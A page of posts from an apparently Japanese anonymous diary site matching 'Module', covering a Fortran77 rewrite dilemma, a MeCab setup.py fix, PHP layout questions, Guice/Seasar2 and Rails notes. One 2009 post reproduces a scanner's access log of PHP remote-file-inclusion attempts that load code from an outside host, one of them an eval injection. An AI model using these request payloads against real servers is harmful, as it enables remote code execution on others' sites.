「Module」を含む日記 RSS

はてなキーワード: Moduleとは

2014-02-16

古いプログラムの書き直しをしたいけど

研究室で使っているFortran77のプログラム

配属されてからいろんな機能を追加してきた。中規模くらいのプログラムで、研究ではメインで使っている。

でもだんだんつらくなってきた。とにかく見づらい。

1980年代に作られたこのプログラムは今までの人たちのコメントの蓄積が半端ない

プログラム書き換えでとりあえずとっておいたコードコメント、書き換えた日時と人が書いてあるコメントプログラム中に混在している。

これらは実際に動く部分のコードよりも多く、可読性をかなり下げている。

前者については、ほとんどが不要だと思うのだがあまり考えずに消すと将来困るかもしれないのでちゃんと確認して消したい。

そして未だに残るGOTO文とFORMAT文と文番号。implicit noneではない暗黙の型宣言。

Fortran入門: 知識として必要な過去のFortran このページに書いてあるほぼすべてが詰まってる。

COMMON文もほぼすべてのサブルーチンにあったが、これはなんとかmoduleに書き換えた。

moduleに書き換えたとはいえ、本来は引数で渡したほうが適切なもの機械的にCOMMONからmodule文に書き換えたためその辺も見直したい。

一番面倒なのが一行の文字数制限。何段かのインデントを入れるとすぐにアウト。

エディタ使ってると自動でインデント入れてくれるのでいちいち直すのも面倒だし、インデント好きなのでできればインデント入れたい。

エディタといえばシンタックスハイライトfortran77モードだとうまく表示できないことが多い。

allocatableとかmodule文なんかは厳密に言えばfortran90以降の機能だけどコンパイラ対応してくれているおかげで使える。

でもエディタシンタックスハイライトにはそういうコンパイラが気を利かせたような実装は含めないのでうまく表示されない。

fortran90モードを使うと今度は行頭カラムの空白が守られなかったりしてコンパイルエラー

すっげー書き換えたい。全部きれいにしたい。他言語にするとあまりにも変わりすぎて教授が混乱するからせめてFortran90にしたい。

でもさ、よく考えるとこの書き換えって全く自分の実績にならないんだよね。

そもそも今までプログラム改良して出来る計算の幅をだいぶ広げたけど、それ自体は発表できないからほぼ表に出ない。

計算結果を出してそれを発表しないと表面的にはまったく意味が無い。

ましてやプログラム保守作業であるこの書き換えは計算結果に影響をおよぼすものでもないから研究成果にはまったく現れない。

しかプログラム書き換えた自分だけじゃなく、みんなも使うから書き換えた自分特別得するわけでもない。

プログラムすべてのコードを書き換えるのは単純に機械的にやっても結構時間がかかるし、書き換えても一発では絶対にうまく動かないから修正にも時間がかかる。

研究者の中にはそういうプログラム書いてばかりの人間馬鹿にする人もいる。プログラムを書いてる研究者自分の分野ではかなりヒエラルキーは低い。

情報系でもないんだし、それが研究の本筋じゃないからというのはわかる。自分たちのやるべきことじゃない。(でも専門性の高い道具を作り、整備する技術・人も必要なんじゃないかなと思ったりもする。)

やってもあまり得しないし他のことやったほうが絶対に自分の将来を助けるけど、ほっとくのもなんだかなあと悶々としている。

多分きれい好きの人が自分の部屋を見たら同じ苦悩を抱えると思う。

2012-11-13

Python3でMeCab

python3.2にpythonバインディングを入れようとしても途中でエラーが出る

AttributeError: 'module' object has no attribute 'split'

setup.pyの中で使われているstring.splitがpython3.2では使えなくなってるからなので以下のように変更すればおk

setup.py

def cmd2(str):
    return string.split (cmd1(str))

を以下に変更

def cmd2(str):
    return cmd1(str).split()

これでいけます。困ってる人がいたら参考にしてください。

2010-07-02

http://anond.hatelabo.jp/20100702003310

modrewryteなりなんなりして

moduleとかなんとかは、全部外からは見られないディレクトリにして

/view/account = index.php?view=account とかにmod_rewrite

index.phpは View=Accountを拾って View.phpApache外のディレクトリからrequire_onceしてパラメーターをaccountで起動

サイトファイル構成で死ぬほど悩む

■Aパターン

/admin

 /module

 └index.php

 └account.php

view.php

と言うパターンで、URLview.php?mode=accout

■Bパターン

/module

 index.php

 account.php

/admin

 view.php

として、モジュールはadmin外にして読み込ませる方法にするか

■Cパターン

/admin

index.php

account.php

と言うパターンで、ファイル個々に読み込む方法にするか

どれもそれぞれメリットあるし、どれでもよく使われてる。だから凄く悩む・・。

2010-01-14

はてなダイアリー最近の人気記事の表示方法

たとえば「Chikirinの日記」に「最近の話題エントリ」ペインってが右下にある。

http://d.hatena.ne.jp/Chikirin/20100113」

これと同じものを実装したいんだけど、自分ブログタイトルも一緒に表示されちゃう。

<hatena name="rss" url="http://b.hatena.ne.jp/entrylist?url=http://d.hatena.ne.jp/ブログ名/&amp;mode=rss" template="hatena-module" listlimit="10" moduletitle="最近人気のエントリ" showcategory="false" rel="nofollow"&gt;

ブログタイトルを消す方法って誰か知らない?

2009-12-07

株式会社プロアームからのスキャン活動(Morfeus Fucking Scanner)

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?_SERVER[DOCUMENT_ROOT]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 234 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /errors.php?error=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 223 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /?page=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 216 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /poll/png.php?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /webcalendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 256 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /cal/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 251 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /projects/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 241 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET /index2.php?_REQUEST[option]=com_content&amp;_REQUEST[Itemid]=1&GLOBALS=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 286 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:45 +0900] "GET //?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 231 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /s_loadenv.inc.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 237 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /project/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /board/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /dotproject/includes/db_adodb.php?baseDir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_facileforms/facileforms.frame.php?ff_compath=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 247 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /calendar/tools/send_reminders.php?noSet=0&amp;includedir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 253 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 236 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /rgboard/include/bbs.lib.inc.php?site_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 242 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 255 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?option=com_content&amp;task=&amp;sectionid=&amp;id=&amp;mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 269 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /administrator/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 260 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /components/com_rwcards/rwcards.advancedate.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /?include_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 224 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cacti/include/config_settings.php?config[include_path]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 248 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /cms/ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 245 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /lib/adodb_lite/adodb-perf-module.inc.php?last_module=zZz_ADOConnection{}eval($_GET[w]);class%20zZz_ADOConnection{}//&amp;w=include($_GET[a]);&amp;a=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 307 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /index.php?DOCUMENT_ROOT=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 232 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:46 +0900] "GET /interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 259 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /plugins/safehtml/HTMLSax3.php?dir[plugins]=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 240 "-" "Morfeus Fucking Scanner"

202.143.75.76 - - [07/Dec/2009:09:43:47 +0900] "GET /administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://202.143.75.76/1.gif?/ HTTP/1.1" 301 272 "-" "Morfeus Fucking Scanner"

2008-05-13

GuiceSeasar2 を連携させてみたよ

[参考文献]

    S2 は、.dicon ファイルで定義をだいぶ簡略化できる。パフォーマンスはどうなんだろう。誰かテストしてくれいw

    app.dicon

    <?xml version="1.0" encoding="UTF-8" ?>

    <!DOCTYPE components PUBLIC "-//SEASAR//DTD S2Container 2.4//EN" "http://www.seasar.org/dtd/components24.dtd">

    <components namespace="client">

    <include path="hello.dicon" />

    <component class="org.seasar.guice.Client" />

    </components>

    hello.dicon

    <?xml version="1.0" encoding="UTF-8" ?>

    <!DOCTYPE components PUBLIC "-//SEASAR//DTD S2Container 2.4//EN"

    "http://www.seasar.org/dtd/components24.dtd">

    <components initializeOnCreate="false">

    <component class="org.seasar.guice.HelloServiceImpl" />

    </components>

    HelloService.java、HelloServiceImpl.java は、上記 ITPro と内容が同じなので省略。

    Module.java

    package org.seasar.guice;

    import org.seasar.framework.container.S2Container;

    import org.seasar.framework.container.SingletonS2Container;

    import org.seasar.framework.container.factory.S2ContainerFactory;

    import com.google.inject.AbstractModule;

    import com.google.inject.name.Names;

    public class Module extends AbstractModule {

    S2Container container = null;

    public Module(S2Container container){

    this.container = container;

    }

    @Override

    protected void configure() {

    bind(S2ContainerFactory.class).annotatedWith(Names.named(container.getPath()));

    bind(Client.class).toInstance(SingletonS2Container.getComponent(Client.class));

    }

    }

    Client.java

    package org.seasar.guice;

    public class Client {

    private HelloService helloService = null;

    public void setHelloService(HelloService helloService) {

    this.helloService = helloService;

    }

    public void execute() {

    helloService.sayHello();

    }

    }

    Main.java

    package org.seasar.guice;

    import org.seasar.framework.container.S2Container;

    import org.seasar.framework.container.factory.SingletonS2ContainerFactory;

    import com.google.inject.Guice;

    import com.google.inject.Injector;

    public class Main {

    private static final String PATH = ".\\app.dicon";

    public static void main(String[] args) {

    SingletonS2ContainerFactory.setConfigPath(PATH);

    SingletonS2ContainerFactory.init();

    S2Container container = SingletonS2ContainerFactory.getContainer();

    Module module = new Module(container);

    Injector injector = Guice.createInjector(module);

    Client client = injector.getInstance(Client.class);

    client.execute();

    }

    }

    実行結果

    java -cp ?? org.seasar.guice.Main

    2008/05/13 21:19:22 org.seasar.framework.log.Logger info

    情報: Running on [ENV]product, [DEPLOY MODE]Normal Mode

    Hello, world!

    実行環境JDK 7 (build 1.7.0-ea-b24)

    2007-04-20

    []RubyRuby on Rails

    Ruby RDoc Documentation

    rubyとは - はてなダイアリー Rubyとは - はてなダイアリー

    はてなブックマーク - はてな - Rubyとは

    「ruby」を含む日記 - はてなダイアリー

    Ruby

    「Ruby」に関する画像、動画、ブログ記事のタグ検索結果

    Google ブログ検索

    買売システム開発記録とか何とか

    Rubyで投資システムを作る日記

    spacecadetの日記

    RubyForge: One-Click Ruby Installer: Project Info

    RDE(Ruby Development Environment) - Ruby??J??????????

    #!/usr/bin/ruby -Ks

    # print "Content-Type: text/html;charset=UTF-8\n\n"

    p "表示"


    Rails Rails Framework Documentation

    http://127.0.0.1/mysql/

    http://127.0.0.1:3000/ http://127.0.0.1:3000/recipe/list

    http://127.0.0.1:3001/ http://127.0.0.1:3001/recipe/list

    http://127.0.0.1:3001/account/signup http://127.0.0.1:3001/test

    http://127.0.0.1:3001/item

    Hot Chips (delete) Snacks 2004-11-11

    Ice Water (delete) Beverages 2004-11-11

    Killer Mushrooms (delete) Snacks 2005-09-13

    満足せる豚。眠たげなポチ。:Rolling with Ruby on Rails - Japanese Translation - p1

    満足せる豚。眠たげなポチ。:Rolling on Ruby on Rails - Japanese Translation - p5

    BookmarkOnInstantRails

    ITmedia エンタープライズ:第1回 Instant Railsで始めるWindows環境のRails (1/2)

    developerWorks Japan

    developerWorks Japan

    DROP TABLE IF EXISTS `items`;

    CREATE TABLE items (

    id int(11) NOT NULL auto_increment,

    login varchar(80) default NULL,

    password varchar(40) default NULL,

    PRIMARY KEY (id)

    );

    えぇてるのぉと:Railsでログイン認証 - livedoor Blog(ブログ)

    8 app/views/test/index.rhtmlの編集

    <h1>Test#index</h1>

    Welcom <%= @session['user'].login %>!

    Login Generator (1) - Nowhere Near

    config/environment.rb に以下の行を追加する。

    module LoginEngine

    config :salt, "your-salt-here"

    end

    Engines.start :login

    http://techno.hippy.jp/rorwiki/?Wiki%A4%F2%BA%EE%A4%C3%A4%C6%A4%DF%A4%EB%2F%A5%E6%A1%BC%A5%B6%A1%BC%A4%F2%C7%A7%BE%DA%A4%B9%A4%EB

    パパブログ: RoR : login_generator : login中のユーザ情報の取得

    @session['user'].id

    @session['user'].login

    @session['user'].password

    で、idやloginが取得できる。

    ちなみにidActiveRecordおなじみのidで、

    loginがログイン名、passwordパスワードになる。


    MySQL-Front download

    環境変数

    ;C:\nonidata\InstantRails\ruby\bin;

    cd C:\nonidata\InstantRails\ruby\bin

    C:\nonidata\InstantRails\ruby\bin>gem install login_generator

    Successfully installed login_generator-1.2.2

    C:\nonidata\InstantRails>cd C:\nonidata\InstantRails\rails_apps\cookbook

    C:\nonidata\InstantRails\rails_apps\cookbook>ruby script/generate login Account

    create lib/login_system.rb

    C:\nonidata\InstantRails\rails_apps>cd C:\nonidata\InstantRails\rails_apps\cookbook

    C:\nonidata\InstantRails\rails_apps\cookbook>ruby script/generate controller test

    exists app/controllers/

    [Ruby] Rails(ActiveRecord)の多対多関連 - yuum3のお仕事日記

    has_one

    has_many

    belongs_to

    has_and_belongs_to_many

    habtm と has_many :through (ActiveRecord)

    ヽ( ・∀・)ノくまくまー(2006-01-20)

    ActiveRecord の歩き方 - Association 編(1) - Rails で行こう! - Ruby on Rails を学ぶ has_many :comments

    developerWorks Japan  has_one :address

    Rubyist Magazine - RubyOnRails を使ってみる 【第 3 回】 ActiveRecord

    create メソッドを使うこともできます。create は new したあと save (DB に格納) します。


    Rubyist Magazine - RubyOnRails を使ってみる 【第 4 回】 ActionPack

    find(:all, :conditions => ["user_name = ?", user_name])

    find_all(["user_name = ?", user_name])

    find_all_by_user_name(user_name)


    Part2 Rubyに学ぶ「Ruby on Railsの正体」:ITpro

    book = Product.find_or_create_by_name_and_price('book', 2079)

    リスト7●productsテーブルからnameが'book',priceが2079であるようなProductオブジェクトを読み取り,存在しなかった場合はデータベースレコードを新規作成する処理


    RoR Wiki 翻訳 Wiki - HowToUseLegacySchemas

    恣意的で複雑なクエリや、主キーを持たないテーブルにはfind_by_sqlを使う

    テーブルが論理的な主キーを持たないなら、

    find_by_sqlを使えば主キーを全く指定しない曖昧で複雑なクエリを実行も実行できる。

    Post.find_by_sql ["SELECT * FROM posts WHERE author = ? AND created > ?", author_id, start_date]


    エディタ utf8

    文字化け

    ヽ( ・∀・)ノくまくまー(2006-10-11)

    チュートリアルを動かしてみる - 肩書「シニアコンサルタント」のつぶやき

    Railsでソーシャルブックマークを作ってみようか(第1回) - 坊やがゆく

    ようこそ<%= @session['user'].login %>さん

    @session['user'].id


    Railsでソーシャルブックマークを作ってみようか(第2回) - 坊やがゆく

    Railsでお馴染み37signalsのURLが凄い件について:TKMR.blog.show

    URLにキーワードを含めことでSEO対策になるかも、でもそれだけ:TKMR.blog.show

    http://127.0.0.1:3001

    http://127.0.0.1:3001/recipe/list

    tetraの外部記憶箱 - Instant Railsのインストール , 追記:phpMyAdminの日本語環境設定 , 未踏ソフト記事

    [Ruby]PHP VS Rails (Ruby on Rails)

    2007-01-09

    http://anond.hatelabo.jp/20070108162953

    こうですか?わかりません><

      - module: CustomFeed::Debug
        config:
          title: Aice5 in Wonder Radio
          entry:
            - title: Aice5 in Wonder Radio
              link: http://www.starchild.co.jp/artist/aice5/radio/aice5.asx
      - module: Filter::EntryFullText
        config:
          store_html_on_failure: 1
      - module: Filter::FindEnclosures
      - module: Filter::FetchEnclosure::Mplayer
    
    ログイン ユーザー登録
    ようこそ ゲスト さん